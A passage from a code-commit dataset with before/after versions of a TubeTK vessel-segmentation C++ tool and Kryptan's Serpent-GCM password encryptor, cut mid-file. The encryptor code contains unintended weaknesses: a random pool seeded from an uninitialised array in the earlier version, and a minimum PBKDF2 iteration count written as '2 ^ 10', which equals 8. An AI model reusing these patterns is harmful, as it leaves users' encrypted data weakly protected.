iss(line);\n      for( unsigned int i = 0; i < VDimension; ++i )\n        {\n        iss >> seedIndex[i];\n        }\n      iss >> seedScale;\n      }\n    seedIndexList.push_back( seedIndex );\n    seedScaleList.push_back( seedScale );\n    }\n\n  if( seedMask.empty() )\n    {\n    if( seedScaleMask.empty() )\n      {\n      }\n    else\n      {\n      seedScaleList.push_back( scale );\n      }\n\n    }\n  else if( seedScaleMask.empty() )\n    {\n    }\n\n\n  typename seedIndexListType::iterator seedIndexIter =\n    seedIndexList.begin();\n  seedScaleListType::iterator seedScaleIter =\n    seedScaleList.begin();\n\n  unsigned int count = 1;\n  while( seedIndexIter != seedIndexList.end() )\n    {\n    timeCollector.Start(\"Ridge Extractor\");\n\n    tubeOp->SetDebug( true );\n    tubeOp->GetRidgeOp()->SetDebug( true );\n\n    tubeOp->GetRidgeOp()->SetThreshRoundness( 0.0001 );\n    tubeOp->GetRidgeOp()->SetThreshRoundnessStart( 0.0001 );\n    tubeOp->GetRidgeOp()->SetThreshCurvature( 0.0001 );\n    tubeOp->GetRidgeOp()->SetThreshCurvatureStart( 0.0001 );\n\n    tubeOp->SetRadius( *seedScaleIter );\n\n    typename TubeType::Pointer xTube = tubeOp->ExtractTube( *seedIndexIter,\n      count );\n\n    if( xTube.IsNull() )\n      {\n      tube::ErrorMessage( \"Error: Ridge not found. \" );\n      return EXIT_FAILURE;\n      }\n\n    tubeOp->AddTube( xTube );\n\n    ++seedIndexIter;\n    ++seedScaleIter;\n    ++count;\n    }\n\n  \/\/ Save Tubes\n  typename SpatialObjectWriterType::Pointer soWriter =\n    SpatialObjectWriterType::New();\n  soWriter->SetFileName( outputTubeFile );\n  soWriter->SetInput( tubeOp->GetTubeGroup().GetPointer() );\n  soWriter->Update();\n\n  \/\/ Save Tube Mask Image\n  if( !outputTubeImage.empty() )\n    {\n    typename MaskWriterType::Pointer writer = MaskWriterType::New();\n    writer->SetFileName( outputTubeImage );\n    writer->SetInput( tubeOp->GetTubeMaskImage() );\n    writer->SetUseCompression( true );\n    writer->Update();\n    }\n\n  timeCollector.Stop(\"Ridge Extractor\");\n\n  progressReporter.Report( 1.0 );\n  progressReporter.End();\n\n  timeCollector.Report();\n  return EXIT_SUCCESS;\n}\n\n\/\/ Main\nint main( int argc, char * argv[] )\n{\n  try\n    {\n    PARSE_ARGS;\n    }\n  catch( const std::exception & err )\n    {\n    tube::ErrorMessage( err.what() );\n    return EXIT_FAILURE;\n    }\n  PARSE_ARGS;\n\n  \/\/ You may need to update this line if, in the project's .xml CLI file,\n  \/\/   you change the variable name for the inputVolume.\n  return tube::ParseArgsAndCallDoIt( inputVolume, argc, argv );\n}\n<commit_msg>FIX: Fix weird probe error when no seed is present<commit_after>\/*=========================================================================\n\nLibrary:   TubeTK\n\nCopyright 2010 Kitware Inc. 28 Corporate Drive,\nClifton Park, NY, 12065, USA.\n\nAll rights reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\n=========================================================================*\/\n\n#include \"itktubeTubeExtractor.h\"\n#include \"tubeCLIFilterWatcher.h\"\n#include \"tubeCLIProgressReporter.h\"\n#include \"tubeMessage.h\"\n\n#include <itkImageFileReader.h>\n#include <itkImageFileWriter.h>\n#include <itkGroupSpatialObject.h>\n#include <itkSpatialObjectReader.h>\n#include <itkSpatialObjectWriter.h>\n#include <itkTimeProbesCollectorBase.h>\n\n#include \"SegmentTubesCLP.h\"\n\ntemplate< class TPixel, unsigned int VDimension >\nint DoIt( int argc, char * argv[] );\n\n\/\/ Must follow include of \"...CLP.h\" and\n\/\/   forward declaration of int DoIt( ... ).\n#include \"tubeCLIHelperFunctions.h\"\n\ntemplate< class TPixel, unsigned int VDimension >\nint DoIt( int argc, char * argv[] )\n{\n  PARSE_ARGS;\n\n  \/\/ The timeCollector is used to perform basic profiling of the components\n  \/\/   of your algorithm.\n  itk::TimeProbesCollectorBase timeCollector;\n\n  \/\/ CLIProgressReporter is used to communicate progress with the Slicer GUI\n  tube::CLIProgressReporter    progressReporter( \"RidgeExtractor\",\n    CLPProcessInformation );\n  progressReporter.Start();\n\n  typedef float                                         PixelType;\n  typedef itk::Image< PixelType, VDimension >           ImageType;\n  typedef itk::ImageFileReader< ImageType >             ReaderType;\n\n  typedef itk::tube::TubeExtractor< ImageType >         TubeOpType;\n  typedef typename TubeOpType::TubeMaskImageType        MaskImageType;\n  typedef itk::ImageFileReader< MaskImageType >         MaskReaderType;\n  typedef itk::ImageFileWriter< MaskImageType >         MaskWriterType;\n\n  typedef itk::SpatialObject< VDimension >              SpatialObjectType;\n  typedef typename SpatialObjectType::ChildrenListType  ObjectListType;\n  typedef itk::GroupSpatialObject< VDimension >         GroupType;\n  typedef itk::VesselTubeSpatialObject< VDimension >    TubeType;\n  typedef typename TubeType::PointListType              PointListType;\n  typedef typename TubeType::PointType                  PointType;\n  typedef typename TubeType::TubePointType              TubePointType;\n\n  typedef itk::SpatialObjectWriter< VDimension >        SpatialObjectWriterType;\n\n  timeCollector.Start(\"Load data\");\n  typename ReaderType::Pointer reader = ReaderType::New();\n  reader->SetFileName( inputVolume.c_str() );\n  try\n    {\n    reader->Update();\n    }\n  catch( itk::ExceptionObject & err )\n    {\n    tube::ErrorMessage( \"Reading volume: Exception caught: \"\n                        + std::string(err.GetDescription()) );\n    timeCollector.Report();\n    return EXIT_FAILURE;\n    }\n  timeCollector.Stop(\"Load data\");\n  double progress = 0.1;\n  progressReporter.Report( progress );\n\n  typename ImageType::Pointer inputImage = reader->GetOutput();\n\n  if( scale < 0.3 )\n    {\n    tube::ErrorMessage( \"Error: Scale < 0.3 is unsupported.\" );\n    return EXIT_FAILURE;\n    }\n\n  typename TubeOpType::Pointer tubeOp = TubeOpType::New();\n\n  tubeOp->SetInputImage( inputImage );\n  tubeOp->SetRadius( scale );\n\n  typedef itk::ContinuousIndex< double, VDimension >  seedIndexType;\n  typedef double                                      seedScaleType;\n  typedef std::vector< seedIndexType >                seedIndexListType;\n  typedef std::vector< seedScaleType >                seedScaleListType;\n\n  seedIndexType seedIndex;\n  seedIndexListType seedIndexList;\n\n  seedScaleListType seedScaleList;\n\n  seedIndexList.clear();\n  seedScaleList.clear();\n\n  if( !seedX.empty() )\n    {\n    for( unsigned int seedXNum=0; seedXNum<seedX.size(); ++seedXNum )\n      {\n      for( unsigned int i=0; i<seedX[seedXNum].size(); i++ )\n        {\n        std::cout << seedX[seedXNum][i] << \" \";\n        }\n      for( unsigned int i=0; i<VDimension; i++ )\n        {\n        seedIndex[i] = seedX[seedXNum][i];\n        }\n      seedIndexList.push_back( seedIndex );\n      seedScaleList.push_back( scale );\n      }\n    }\n\n  if( !seedPhysicalPoint.empty() )\n    {\n    for(size_t seedNum=0; seedNum<seedPhysicalPoint.size(); ++seedNum)\n      {\n      typename ImageType::PointType point;\n      for( unsigned int i=0; i<VDimension; i++ )\n        {\n        point[i] = seedPhysicalPoint[seedNum][i];\n        }\n\n      point[0]*=-1;\n      point[1]*=-1;\n\n      bool transformSuccess =\n        inputImage->TransformPhysicalPointToContinuousIndex(point, seedIndex);\n      if (!transformSuccess)\n        {\n        std::cerr<<\"Could not transform point #\"\n          <<seedNum<<\" to seed index.\"<<std::endl;\n        continue;\n        }\n\n      seedIndexList.push_back( seedIndex );\n      seedScaleList.push_back( scale );\n      }\n    }\n\n  if( !seedListFile.empty() )\n    {\n    std::ifstream readStream;\n    readStream.open( seedListFile.c_str(), std::ios::binary |\n      std::ios::in );\n    std::string line;\n    double seedScale;\n    while( std::getline( readStream, line ) )\n      {\n      std::istringstream iss(line);\n      for( unsigned int i = 0; i < VDimension; ++i )\n        {\n        iss >> seedIndex[i];\n        }\n      iss >> seedScale;\n      }\n    seedIndexList.push_back( seedIndex );\n    seedScaleList.push_back( seedScale );\n    }\n\n  if( seedMask.empty() )\n    {\n    if( seedScaleMask.empty() )\n      {\n      }\n    else\n      {\n      seedScaleList.push_back( scale );\n      }\n\n    }\n  else if( seedScaleMask.empty() )\n    {\n    }\n\n\n  typename seedIndexListType::iterator seedIndexIter =\n    seedIndexList.begin();\n  seedScaleListType::iterator seedScaleIter =\n    seedScaleList.begin();\n\n  timeCollector.Start(\"Ridge Extractor\");\n  unsigned int count = 1;\n  while( seedIndexIter != seedIndexList.end() )\n    {\n\n    tubeOp->SetDebug( true );\n    tubeOp->GetRidgeOp()->SetDebug( true );\n\n    tubeOp->GetRidgeOp()->SetThreshRoundness( 0.0001 );\n    tubeOp->GetRidgeOp()->SetThreshRoundnessStart( 0.0001 );\n    tubeOp->GetRidgeOp()->SetThreshCurvature( 0.0001 );\n    tubeOp->GetRidgeOp()->SetThreshCurvatureStart( 0.0001 );\n\n    tubeOp->SetRadius( *seedScaleIter );\n\n    typename TubeType::Pointer xTube = tubeOp->ExtractTube( *seedIndexIter,\n      count );\n\n    if( xTube.IsNull() )\n      {\n      tube::ErrorMessage( \"Error: Ridge not found. \" );\n      return EXIT_FAILURE;\n      }\n\n    tubeOp->AddTube( xTube );\n\n    ++seedIndexIter;\n    ++seedScaleIter;\n    ++count;\n    }\n\n  \/\/ Save Tubes\n  typename SpatialObjectWriterType::Pointer soWriter =\n    SpatialObjectWriterType::New();\n  soWriter->SetFileName( outputTubeFile );\n  soWriter->SetInput( tubeOp->GetTubeGroup().GetPointer() );\n  soWriter->Update();\n\n  \/\/ Save Tube Mask Image\n  if( !outputTubeImage.empty() )\n    {\n    typename MaskWriterType::Pointer writer = MaskWriterType::New();\n    writer->SetFileName( outputTubeImage );\n    writer->SetInput( tubeOp->GetTubeMaskImage() );\n    writer->SetUseCompression( true );\n    writer->Update();\n    }\n\n  timeCollector.Stop(\"Ridge Extractor\");\n\n  progressReporter.Report( 1.0 );\n  progressReporter.End();\n\n  timeCollector.Report();\n  return EXIT_SUCCESS;\n}\n\n\/\/ Main\nint main( int argc, char * argv[] )\n{\n  try\n    {\n    PARSE_ARGS;\n    }\n  catch( const std::exception & err )\n    {\n    tube::ErrorMessage( err.what() );\n    return EXIT_FAILURE;\n    }\n  PARSE_ARGS;\n\n  \/\/ You may need to update this line if, in the project's .xml CLI file,\n  \/\/   you change the variable name for the inputVolume.\n  return tube::ParseArgsAndCallDoIt( inputVolume, argc, argv );\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"SerpentEncryptor.h\"\nusing Kryptan::Core::Internal::SerpentEncryptor;\nusing Kryptan::Core::Internal::EncryptionKey;\nusing Kryptan::Core::SecureString;\n\n#include \"Exceptions.h\"\nusing Kryptan::Core::KryptanBaseException;\n\n\/\/#define OS_RNG_AVAILABLE\n\n#ifdef OS_RNG_AVAILABLE\n# include <cryptopp\/osrng.h>\nusing CryptoPP::AutoSeededRandomPool;\n#else\n# include <cryptopp\/randpool.h>\n  using CryptoPP::RandomPool;\n# ifdef _WIN32\n\n# endif\n#endif\n\n#include <cryptopp\/gcm.h>\nusing CryptoPP::GCM;\n\n#include <cryptopp\/serpent.h>\nusing CryptoPP::Serpent;\n\n#include <cryptopp\/secblock.h>\nusing CryptoPP::SecByteBlock;\n\n#include <cryptopp\/filters.h>\nusing CryptoPP::StringSink;\nusing CryptoPP::StringSource;\nusing CryptoPP::AuthenticatedEncryptionFilter;\nusing CryptoPP::AuthenticatedDecryptionFilter;\nusing CryptoPP::BufferedTransformation;\nusing CryptoPP::AAD_CHANNEL;\nusing CryptoPP::DEFAULT_CHANNEL;\n\n#include <cryptopp\/base64.h>\nusing CryptoPP::Base64Encoder;\nusing CryptoPP::Base64Decoder;\n\n#include <cryptopp\/sha.h>\nusing CryptoPP::SHA512;\n#include <cryptopp\/sha3.h>\n\/\/using CryptoPP::SHA3_512;\n#include <cryptopp\/pwdbased.h>\nusing CryptoPP::PKCS5_PBKDF2_HMAC;\n\n\/\/while developing\n\/\/using namespace CryptoPP;\n\n#define MAGIC_VALUE \"KRYPTAN\\n\"\n\nconst int TAG_SIZE = 16; \/\/bytes\nconst int IV_SIZE = 16; \/\/bytes\ntypedef SHA512 KEY_CHECK_HASH_FUNCTION;\nconst int KEY_CHECK_LENGTH = KEY_CHECK_HASH_FUNCTION::DIGESTSIZE;\nconst int MIN_ITERATION_COUNT = 2 ^ 10;\nconst int TARGET_ITERATION_TIME = 2; \/\/seconds\nconst int SALT_SIZE = 16; \/\/bytes\ntypedef uint32_t iter_t;\n\nRandomPool* getPrng()\n{\n#ifdef OS_RNG_AVAILABLE\n    static AutoSeededRandomPool g_prng;\n#else\n    static RandomPool g_prng;\n    static bool inited = false;\n    if (!inited)\n    {\n        const int SEED_LEN = 32;\n        byte seed[SEED_LEN];\n#ifdef _WIN32\n        \/\/RtlGenRandom(seed, SEED_LEN);\n        \/\/TODO: FIX THIS!\n#else\n#error Requires cryptographically secure seed\n#endif\n        g_prng.IncorporateEntropy(seed, SEED_LEN);\n        inited = true;\n    }\n\n#endif\n    return &g_prng;\n}\n\n\/\/\nclass EncryptionKeyImpl : public EncryptionKey\n{\nprivate:\n    SecByteBlock xor1;\n    SecByteBlock xor2;\n    int keyLength;\n    iter_t createdWithNumberOfIterations;\npublic:\n    EncryptionKeyImpl(byte* kData, int kLength, byte* sData, int sLength, iter_t nIterations)\n    {\n        keyLength = kLength;\n        xor1.Grow(kLength + sLength);\n        xor2.Grow(kLength + sLength);\n        createdWithNumberOfIterations = nIterations;\n\n        \/\/fill with random data\n        getPrng()->GenerateBlock(xor1, kLength + sLength);\n\n        \/\/put key data into storage\n        for (int i = 0; i < kLength; i++)\n        {\n            xor2[i] = kData[i] ^ xor1[i];\n        }\n\n        \/\/put salt data into storage\n        for (int i = 0; i < sLength; i++)\n        {\n            xor2[kLength + i] = sData[i] ^ xor1[kLength + i];\n        }\n    }\n\n    SecByteBlock getDataCopy()\n    {\n        SecByteBlock data(keyLength);\n        for (int i = 0; i < keyLength; i++)\n        {\n            data[i] = xor1[i] ^ xor2[i];\n        }\n        return data;\n    }\n\n    SecByteBlock getSaltCopy()\n    {\n        int saltLength = xor1.size() - keyLength;\n        SecByteBlock data(saltLength);\n        for (int i = 0; i < saltLength; i++)\n        {\n            data[i] = xor1[keyLength + i] ^ xor2[keyLength + i];\n        }\n        return data;\n    }\n\n    iter_t getNumberOfIterations()\n    {\n        return createdWithNumberOfIterations;\n    }\n\n    ~EncryptionKeyImpl()\n    {\n        \/\/clean xor1 and xor2\n        xor1.CleanNew(0);\n        xor2.CleanNew(0);\n    }\n};\n\nSerpentEncryptor::SerpentEncryptor()\n{\n};\n\nSerpentEncryptor::~SerpentEncryptor()\n{\n};\n\nEncryptionKeyImpl* generateKeyFromPassphrase_p(SecureString passphrase, SecByteBlock salt, iter_t iterations = 0)\n{\n\n    SecByteBlock derived_key(Serpent::DEFAULT_KEYLENGTH);\n\n    double target_iteration_time = TARGET_ITERATION_TIME;\n    iter_t iteration_count = MIN_ITERATION_COUNT;\n\n    if (iterations > 0)\n    {\n        target_iteration_time = 0;\n        iteration_count = iterations;\n    }\n\n    PKCS5_PBKDF2_HMAC<SHA512> pbkdf2;\n    iter_t actualIterationCount = pbkdf2.DeriveKey(\n        derived_key,\n        derived_key.size(),\n        0,\n        reinterpret_cast<const byte *>(passphrase.getUnsecureString()),\n        passphrase.length(),\n        salt,\n        salt.size(),\n        iteration_count,\n        target_iteration_time\n        );\n\n    return new EncryptionKeyImpl(derived_key, derived_key.size(), salt, salt.size(), actualIterationCount);\n}\n\nEncryptionKey* SerpentEncryptor::generateKeyFromPassphraseRandomSalt(SecureString passphrase, int mashIterations)\n{\n    SecByteBlock salt(SALT_SIZE);\n\n    \/\/generate salt\n    getPrng()->GenerateBlock(salt, salt.size());\n\n    return generateKeyFromPassphrase_p(passphrase, salt, mashIterations);\n}\n\nEncryptionKey* SerpentEncryptor::generateKeyFromPassphraseFixedSalt(SecureString passphrase, std::string filecontents)\n{\n    \/\/DATA FORMAT\n    \/\/|            plaintext           |             encrypted            |  plain |    <-- confidentiality level\n    \/\/|-iter count-|-pwd salt--|--iv---|---------------data---------------|---mac--|    <-- data organization\n    \/\/|\t   iter_t  | SALT_SIZE |IV_SIZE|          unknown length          |TAG_SIZE|    <-- data sizes\n\n\n    if (filecontents.substr(0, sizeof(MAGIC_VALUE)-1) != MAGIC_VALUE)\n    {\n        \/\/ no magic value, then the string does not follow the format specified in this source file\n        throw KryptanDecryptMacBadException(\"Bad format\");\n    }\n\n    int offset = 0;\n\n    std::string decoded;\n    StringSource source(filecontents.substr(sizeof(MAGIC_VALUE)-1), true, new Base64Decoder(new StringSink(decoded)));\n\n    \/\/get password itereation count\n    iter_t iteration_count = *reinterpret_cast<const iter_t*>(decoded.data());\n    offset += sizeof(iter_t);\n    \/\/get password salt\n    SecByteBlock pwdSalt(reinterpret_cast<const byte*>(decoded.substr(offset, SALT_SIZE).data()), SALT_SIZE);\n\n    assert(pwdSalt.size() == (unsigned int)SALT_SIZE);\n\n    return generateKeyFromPassphrase_p(passphrase, pwdSalt, iteration_count);\n}\n\n\n\n\/*\n* Time for encryption\n* We use GCM mode with iv as ADATA (authenticated but not encrypted)\n* PDATA is ofcourse 'data' and is both encrypted and authenticated\n*\/\nstd::string SerpentEncryptor::Encrypt(SecureString data, EncryptionKey* key)\n{\n    try\n    {\n        \/\/get keydata\n        EncryptionKeyImpl* keyImpl = static_cast<EncryptionKeyImpl*>(key);\n        SecByteBlock keyData = keyImpl->getDataCopy();\n        SecByteBlock keySaltData = keyImpl->getSaltCopy();\n        iter_t iterations = keyImpl->getNumberOfIterations();\n\n        \/\/generate iv\n        SecByteBlock iv(IV_SIZE);\n        getPrng()->GenerateBlock(iv, iv.size());\n\n        \/\/put result here\n        std::string encrypted(MAGIC_VALUE);\n\n        \/\/create keycheck block\n        SecByteBlock keycheckShouldbe(KEY_CHECK_LENGTH);\n        KEY_CHECK_HASH_FUNCTION hasher;\n        hasher.Update(keyData, keyData.size());\n        hasher.Final(keycheckShouldbe);\n\n        GCM< Serpent >::Encryption e;\n        e.SetKeyWithIV(keyData, keyData.size(), iv, iv.size());\n\n        \/\/ Not required for GCM mode (but required for CCM mode)\n        \/\/ e.SpecifyDataLengths( adata.size(), pdata.size(), 0 );\n\n        BufferedTransformation* destination = new Base64Encoder(new StringSink(encrypted));\n\n        \/\/put iv to the beginning of the destination\n        destination->Put(reinterpret_cast<const byte*>(&iterations), sizeof(iter_t));\n        destination->Put(keySaltData, keySaltData.size());\n        destination->Put(iv, iv.size());\n\n        \/\/ef takes ownership of destination, no delete necessary\n        AuthenticatedEncryptionFilter ef(e, destination, false, TAG_SIZE);\n\n        \/\/ AuthenticatedEncryptionFilter::ChannelPut\n        \/\/  defines two channels: \"\" (empty) and \"AAD\"\n        \/\/   channel \"\" is encrypted and authenticated\n        \/\/   channel \"AAD\" is authenticated\n        \/\/ NOTE: AAD is not put into destination, thats \n        \/\/ why we have already done that manually.\n        ef.ChannelPut(AAD_CHANNEL, reinterpret_cast<const byte*>(&iterations), sizeof(iter_t), true);\n        ef.ChannelPut(AAD_CHANNEL, keySaltData, keySaltData.size());\n        ef.ChannelPut(AAD_CHANNEL, iv, iv.size());\n        ef.ChannelMessageEnd(AAD_CHANNEL);\n\n        \/\/ Authenticated data *must* be pushed before\n        \/\/  Confidential\/Authenticated data. Otherwise\n        \/\/  we must catch the BadState exception\n        ef.ChannelPut(DEFAULT_CHANNEL, keycheckShouldbe, keycheckShouldbe.size());\n        ef.ChannelPut(DEFAULT_CHANNEL, (const byte*)data.getUnsecureString(), data.length());\n        ef.ChannelMessageEnd(DEFAULT_CHANNEL);\n\n        \/\/we're finished with the unsecure data, let's remove it\n        data.UnsecuredStringFinished();\n\n        \/\/return to caller with encrypted and encoded data\n        return encrypted;\n    }\n    catch (CryptoPP::BufferedTransformation::NoChannelSupport& e)\n    {\n        data.UnsecuredStringFinished();\n        \/\/ The tag must go in to the default channel:\n        \/\/  \"unknown: this object doesn't support multiple channels\"\n        \/\/ this should never happen\n        throw KryptanEncryptException(std::string(\"Error while encrypting: \") + e.what());\n    }\n    catch (CryptoPP::AuthenticatedSymmetricCipher::BadState& e)\n    {\n        data.UnsecuredStringFinished();\n        \/\/ Pushing PDATA before ADATA results in:\n        \/\/  \"GMC\/AES: Update was called before State_IVSet\"\n\n        \/\/this should also never happen\n        throw KryptanEncryptException(std::string(\"Error while encrypting: \") + e.what());\n    }\n    catch (CryptoPP::InvalidArgument& e)\n    {\n        data.UnsecuredStringFinished();\n        \/\/some arguments were invalid\n        \/\/this should ofcourse never happen\n        throw KryptanEncryptException(std::string(\"Error while encrypting: \") + e.what());\n    }\n    catch (CryptoPP::Exception& e)\n    {\n        data.UnsecuredStringFinished();\n        \/\/unknown exception\n        throw KryptanEncryptException(std::string(\"Error while encrypting: \") + e.what());\n    }\n}\n\n\n\nSecureString SerpentEncryptor::Decrypt(std::string data, EncryptionKey* key)\n{\n    try\n    {\n        if (data.substr(0, sizeof(MAGIC_VALUE)-1) != MAGIC_VALUE)\n        {\n            \/\/ no magic value, then the string does not follow the format specified in this source file\n            throw KryptanDecryptMacBadException(\"Bad format\");\n        }\n        \/\/source\n        std::string decoded;\n        StringSource source(data.substr(sizeof(MAGIC_VALUE)-1), true, new Base64Decoder(new StringSink(decoded)));\n\n        \/\/DATA FORMAT\n        \/\/|            plaintext           |             encrypted            |  plain |    <-- confidentiality level\n        \/\/|-iter count-|-pwd salt--|--iv---|---------------data---------------|---mac--|    <-- data organization\n        \/\/|\t   iter_t  | SALT_SIZE |IV_SIZE|          unknown length          |TAG_SIZE|    <-- data sizes\n\n        \/\/pre-data exraction sanity check\n        assert(data.length() > TAG_SIZE + IV_SIZE);\n\n        int offset = sizeof(iter_t)+SALT_SIZE;\n        \/\/get iv\n        SecByteBlock iv(reinterpret_cast<const byte*>(decoded.substr(offset, IV_SIZE).data()), IV_SIZE);\n        offset += IV_SIZE;\n        \/\/get encrypted\n        std::string encrypted = decoded.substr(offset, decoded.length() - offset - TAG_SIZE);\n        \/\/get mac\n        std::string mac = decoded.substr(decoded.length() - TAG_SIZE);\n\n        \/\/post-data exraction sanity checks\n        assert(iv.size() == (unsigned int)IV_SIZE);\n        assert(encrypted.size() > 0);\n        assert(mac.size() == (unsigned int)TAG_SIZE);\n\n        \/\/get keydata\n        EncryptionKeyImpl* keyImpl = static_cast<EncryptionKeyImpl*>(key);\n        SecByteBlock keyData = keyImpl->getDataCopy();\n        iter_t iterations = keyImpl->getNumberOfIterations();\n        SecByteBlock keySaltData = keyImpl->getSaltCopy();\n\n        \/\/Decryptor\n        GCM<Serpent>::Decryption d;\n        d.SetKeyWithIV(keyData, keyData.size(), iv, iv.size());\n\n        \/\/ Object _will_ throw an exception\n        \/\/  during decryption\\verification _if_\n        \/\/  verification fails.\n        AuthenticatedDecryptionFilter df(d, NULL,\n            AuthenticatedDecryptionFilter::MAC_AT_END |\n            AuthenticatedDecryptionFilter::THROW_EXCEPTION, TAG_SIZE);\n\n        \/\/the order of the follwing is important\n        df.ChannelPut(AAD_CHANNEL, reinterpret_cast<const byte*>(&iterations), sizeof(iter_t), true);\n        df.ChannelPut(AAD_CHANNEL, keySaltData, keySaltData.size());\n        df.ChannelPut(AAD_CHANNEL, iv, iv.size());\n        df.ChannelMessageEnd(AAD_CHANNEL);\n\n        df.ChannelPut(DEFAULT_CHANNEL, reinterpret_cast<const byte*>(encrypted.data()), encrypted.size());\n        df.ChannelPut(DEFAULT_CHANNEL, reinterpret_cast<const byte*>(mac.data()), mac.size());\n        df.ChannelMessageEnd(DEFAULT_CHANNEL);\n\n        \/\/if we get this far the authentication is successfull :)\n\n        df.SetRetrievalChannel(DEFAULT_CHANNEL);\n        auto totaldecryptedsize = df.MaxRetrievable();\n\n        if (totaldecryptedsize < (unsigned int)KEY_CHECK_LENGTH)\n        {\n            throw KryptanDecryptMacBadException(\"Error while decrypting: Cannot find keycheck data!\");\n        }\n\n        \/\/keycheck\n        SecByteBlock keycheck(KEY_CHECK_LENGTH);\n        SecByteBlock keycheckShouldbe(KEY_CHECK_LENGTH);\n        df.Get(keycheck, keycheck.size());\n        KEY_CHECK_HASH_FUNCTION hasher;\n        hasher.Update(keyData, keyData.size());\n        hasher.Final(keycheckShouldbe);\n\n        if (!VerifyBufsEqual(keycheck, keycheckShouldbe, KEY_CHECK_LENGTH))\n        {\n            throw KryptanDecryptWrongKeyException(\"Incorrect key!\");\n        }\n\n        auto datasize = totaldecryptedsize - KEY_CHECK_LENGTH;\n\n        if (datasize <= 0)\n            return SecureString();\n\n        \/\/get data\n        byte* destination = new byte[(int)datasize + 1];\n        df.Get(destination, (size_t)datasize);\n        destination[datasize] = 0;\/\/null terminate\n\n        \/\/imports the data securely and deletes the buffer\n        SecureString decrypted((SecureString::ssarr) destination);\n\n        return decrypted;\n    }\n    catch (CryptoPP::InvalidArgument& e)\n    {\n        \/\/invalid argument somewhere\n        \/\/this should not happen\n        throw KryptanDecryptException(e.what());\n    }\n    catch (CryptoPP::AuthenticatedSymmetricCipher::BadState& e)\n    {\n        \/\/ Pushing PDATA before ADATA results in:\n        \/\/  \"GMC\/AES: Update was called before State_IVSet\"\n        throw KryptanDecryptException(e.what());\n    }\n    catch (CryptoPP::HashVerificationFilter::HashVerificationFailed)\n    {\n        throw KryptanDecryptMacBadException(\"Integrity check failed, password file is corrupt.\");\n    }\n}\n<commit_msg>Worked around the lack of AutoSeededRandomPool in SerpentEncryptor.cpp for the WinRT platform (Windows phone 8)<commit_after>#include \"SerpentEncryptor.h\"\r\nusing Kryptan::Core::Internal::SerpentEncryptor;\r\nusing Kryptan::Core::Internal::EncryptionKey;\r\nusing Kryptan::Core::SecureString;\r\n\r\n#include \"Exceptions.h\"\r\nusing Kryptan::Core::KryptanBaseException;\r\n\r\n\/\/#define OS_RNG_AVAILABLE\r\n\r\n#ifdef OS_RNG_AVAILABLE\r\n# include <cryptopp\/osrng.h>\r\nusing CryptoPP::AutoSeededRandomPool;\r\n#else\r\n# include <cryptopp\/randpool.h>\r\nusing CryptoPP::RandomPool;\r\n#endif\r\n\r\n#include <cryptopp\/gcm.h>\r\nusing CryptoPP::GCM;\r\n\r\n#include <cryptopp\/serpent.h>\r\nusing CryptoPP::Serpent;\r\n\r\n#include <cryptopp\/secblock.h>\r\nusing CryptoPP::SecByteBlock;\r\n\r\n#include <cryptopp\/filters.h>\r\nusing CryptoPP::StringSink;\r\nusing CryptoPP::StringSource;\r\nusing CryptoPP::AuthenticatedEncryptionFilter;\r\nusing CryptoPP::AuthenticatedDecryptionFilter;\r\nusing CryptoPP::BufferedTransformation;\r\nusing CryptoPP::AAD_CHANNEL;\r\nusing CryptoPP::DEFAULT_CHANNEL;\r\n\r\n#include <cryptopp\/base64.h>\r\nusing CryptoPP::Base64Encoder;\r\nusing CryptoPP::Base64Decoder;\r\n\r\n#include <cryptopp\/sha.h>\r\nusing CryptoPP::SHA512;\r\n#include <cryptopp\/sha3.h>\r\n\/\/using CryptoPP::SHA3_512;\r\n#include <cryptopp\/pwdbased.h>\r\nusing CryptoPP::PKCS5_PBKDF2_HMAC;\r\n\r\n\/\/while developing\r\n\/\/using namespace CryptoPP;\r\n\r\n#define MAGIC_VALUE \"KRYPTAN\\n\"\r\n\r\nconst int TAG_SIZE = 16; \/\/bytes\r\nconst int IV_SIZE = 16; \/\/bytes\r\ntypedef SHA512 KEY_CHECK_HASH_FUNCTION;\r\nconst int KEY_CHECK_LENGTH = KEY_CHECK_HASH_FUNCTION::DIGESTSIZE;\r\nconst int MIN_ITERATION_COUNT = 2 ^ 10;\r\nconst int TARGET_ITERATION_TIME = 2; \/\/seconds\r\nconst int SALT_SIZE = 16; \/\/bytes\r\ntypedef uint32_t iter_t;\r\n\r\nRandomPool* getPrng()\r\n{\r\n#ifdef OS_RNG_AVAILABLE\r\n    static AutoSeededRandomPool g_prng;\r\n#else\r\n    static RandomPool g_prng;\r\n    static bool inited = false;\r\n    if (!inited)\r\n    {\r\n  #if defined(_WIN32) && defined(WINAPI_FAMILY_APP)\r\n        const int SEED_LEN = 32;\r\n        auto iBuffer = Windows::Security::Cryptography::CryptographicBuffer::GenerateRandom(SEED_LEN);\r\n        auto reader = Windows::Storage::Streams::DataReader::FromBuffer(iBuffer);\r\n        std::vector<unsigned char> data(reader->UnconsumedBufferLength);\r\n        if (!data.empty())\r\n            reader->ReadBytes(\r\n                ::Platform::ArrayReference<unsigned char>(\r\n                    &data[0], data.size()\r\n                )\r\n            );\r\n        g_prng.IncorporateEntropy(&data[0], SEED_LEN);\r\n        inited = true;\r\n  #else\r\n    #error Requires cryptographically secure seed\r\n  #endif\r\n    }\r\n\r\n#endif\r\n    return &g_prng;\r\n}\r\n\r\n\/\/\r\nclass EncryptionKeyImpl : public EncryptionKey\r\n{\r\nprivate:\r\n    SecByteBlock xor1;\r\n    SecByteBlock xor2;\r\n    int keyLength;\r\n    iter_t createdWithNumberOfIterations;\r\npublic:\r\n    EncryptionKeyImpl(byte* kData, int kLength, byte* sData, int sLength, iter_t nIterations)\r\n    {\r\n        keyLength = kLength;\r\n        xor1.Grow(kLength + sLength);\r\n        xor2.Grow(kLength + sLength);\r\n        createdWithNumberOfIterations = nIterations;\r\n\r\n        \/\/fill with random data\r\n        getPrng()->GenerateBlock(xor1, kLength + sLength);\r\n\r\n        \/\/put key data into storage\r\n        for (int i = 0; i < kLength; i++)\r\n        {\r\n            xor2[i] = kData[i] ^ xor1[i];\r\n        }\r\n\r\n        \/\/put 